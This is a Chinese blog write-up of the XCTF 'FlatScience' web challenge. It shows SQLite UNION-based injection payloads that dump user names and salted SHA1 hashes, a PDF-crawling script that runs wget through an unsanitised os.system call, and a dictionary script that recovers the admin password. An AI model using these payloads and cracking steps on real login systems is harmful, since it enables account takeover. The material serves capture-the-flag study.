博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界web进阶区FlatScience详解
阅读量:2134 次
发布时间:2019-04-30

本文共 3571 字,大约阅读时间需要 11 分钟。

攻防世界web进阶区FlatScience

题目

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

解法

我们一个一个点进去发现也就是一些论文之类的

在这里插入图片描述
我们御剑发现了一些东西
robots。txt
我们登录试试
在这里插入图片描述
在login页面有报错,我们猜测是sql注入
在这里插入图片描述
他的源码中写到,登录是你不可能绕过的在这里插入图片描述
这里源码中出现了?debug,可能是一个调试页面,我们访问看看
在这里插入图片描述

query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){
$row = $res->fetchArray(); } else{
echo "
Some Error occourred!"; } if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); }}if(isset($_GET['debug']))highlight_file('login.php');?>

判定POST提交的usr和pw是否存在,很显然usr处存在注入

这里提醒是sqlite数据库

tips:

sqlite数据库有一张sqlite_master表,里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息

我们使用sqlmap进行尝试

在这里插入图片描述
可见,存在注入
但是并没有跑出来,可能是我的网速问题
这里我们知道了他的数据库是sqlite
那么我们进行手工注入
1’ --+,不报错,说明闭合方式确定了。

1' order by 3 --+报错,1' order by 2 --+不报错,说明字段是2,

在这里插入图片描述

这里我们看到有回显了
在这里插入图片描述

CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

我们查询到了他的数据库,发现有hint这个选项

进去看看看
在这里插入图片描述
在这里插入图片描述
这里查到,需要他的论文,
我们查询一下其他的列

1' union select id,group_concat(id) from users--+得到1,2,31' union select id,group_concat(name) from users--+得到admin,fritze,hansi1' union select id,group_concat(password) from users--+得到3fab54a50e770d830c0416df817567662a9dc85c、54eae8935c90f467427f05e4ece82cf569f89507、34b0bb7c304949f9ff2fc101eef0f048be10d3bd

在这里插入图片描述

我们猜测,他的密码应该和pdf有关

使用网上的脚本
python3爬取多目标网页PDF文件并下载到指定目录:

import requestsimport reimport osimport sysre1 = '[a-fA-F0-9]{32,32}.pdf're2 = '[0-9\/]{2,2}index.html'pdf_list = []def get_pdf(url):    global pdf_list     print(url)    req = requests.get(url).text    re_1 = re.findall(re1,req)    for i in re_1:        pdf_url = url+i        pdf_list.append(pdf_url)    re_2 = re.findall(re2,req)    for j in re_2:        new_url = url+j[0:2]        get_pdf(new_url)    return pdf_list    # return re_2pdf_list = get_pdf('http://220.249.52.133:46876/')print(pdf_list)for i in pdf_list:    os.system('wget '+i)
from io import StringIO#python3from pdfminer.pdfpage import PDFPagefrom pdfminer.converter import TextConverterfrom pdfminer.converter import PDFPageAggregatorfrom pdfminer.layout import LTTextBoxHorizontal, LAParamsfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreterimport sysimport stringimport osimport hashlibimport importlibimport randomfrom urllib.request import urlopenfrom urllib.request import Requestdef get_pdf():    return [i for i in os.listdir("./") if i.endswith("pdf")]  def convert_pdf_to_txt(path_to_file):    rsrcmgr = PDFResourceManager()    retstr = StringIO()    codec = 'utf-8'    laparams = LAParams()    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)    fp = open(path_to_file, 'rb')    interpreter = PDFPageInterpreter(rsrcmgr, device)    password = ""    maxpages = 0    caching = True    pagenos=set()    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):        interpreter.process_page(page)    text = retstr.getvalue()    fp.close()    device.close()    retstr.close()    return text  def find_password():    pdf_path = get_pdf()    for i in pdf_path:        print ("Searching word in " + i)        pdf_text = convert_pdf_to_txt("./"+i).split(" ")        for word in pdf_text:            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):                print ("Find the password :" + word)                exit()             if __name__ == "__main__":    find_password()

得到admin的密码为ThinJerboa

在这里插入图片描述

转载地址:http://dgugf.baihongyu.com/

你可能感兴趣的文章
CART 分类与回归树
查看>>
seq2seq 的 keras 实现
查看>>
seq2seq 入门
查看>>
什么是 Dropout
查看>>
用 LSTM 做时间序列预测的一个小例子
查看>>
用 LSTM 来做一个分类小问题
查看>>
详解 LSTM
查看>>
按时间轴简述九大卷积神经网络
查看>>
详解循环神经网络(Recurrent Neural Network)
查看>>
为什么要用交叉验证
查看>>
用学习曲线 learning curve 来判别过拟合问题
查看>>
用验证曲线 validation curve 选择超参数
查看>>
用 Grid Search 对 SVM 进行调参
查看>>
用 Pipeline 将训练集参数重复应用到测试集
查看>>
PCA 的数学原理和可视化效果
查看>>
机器学习中常用评估指标汇总
查看>>
什么是 ROC AUC
查看>>
Bagging 简述
查看>>
详解 Stacking 的 python 实现
查看>>
简述极大似然估计
查看>>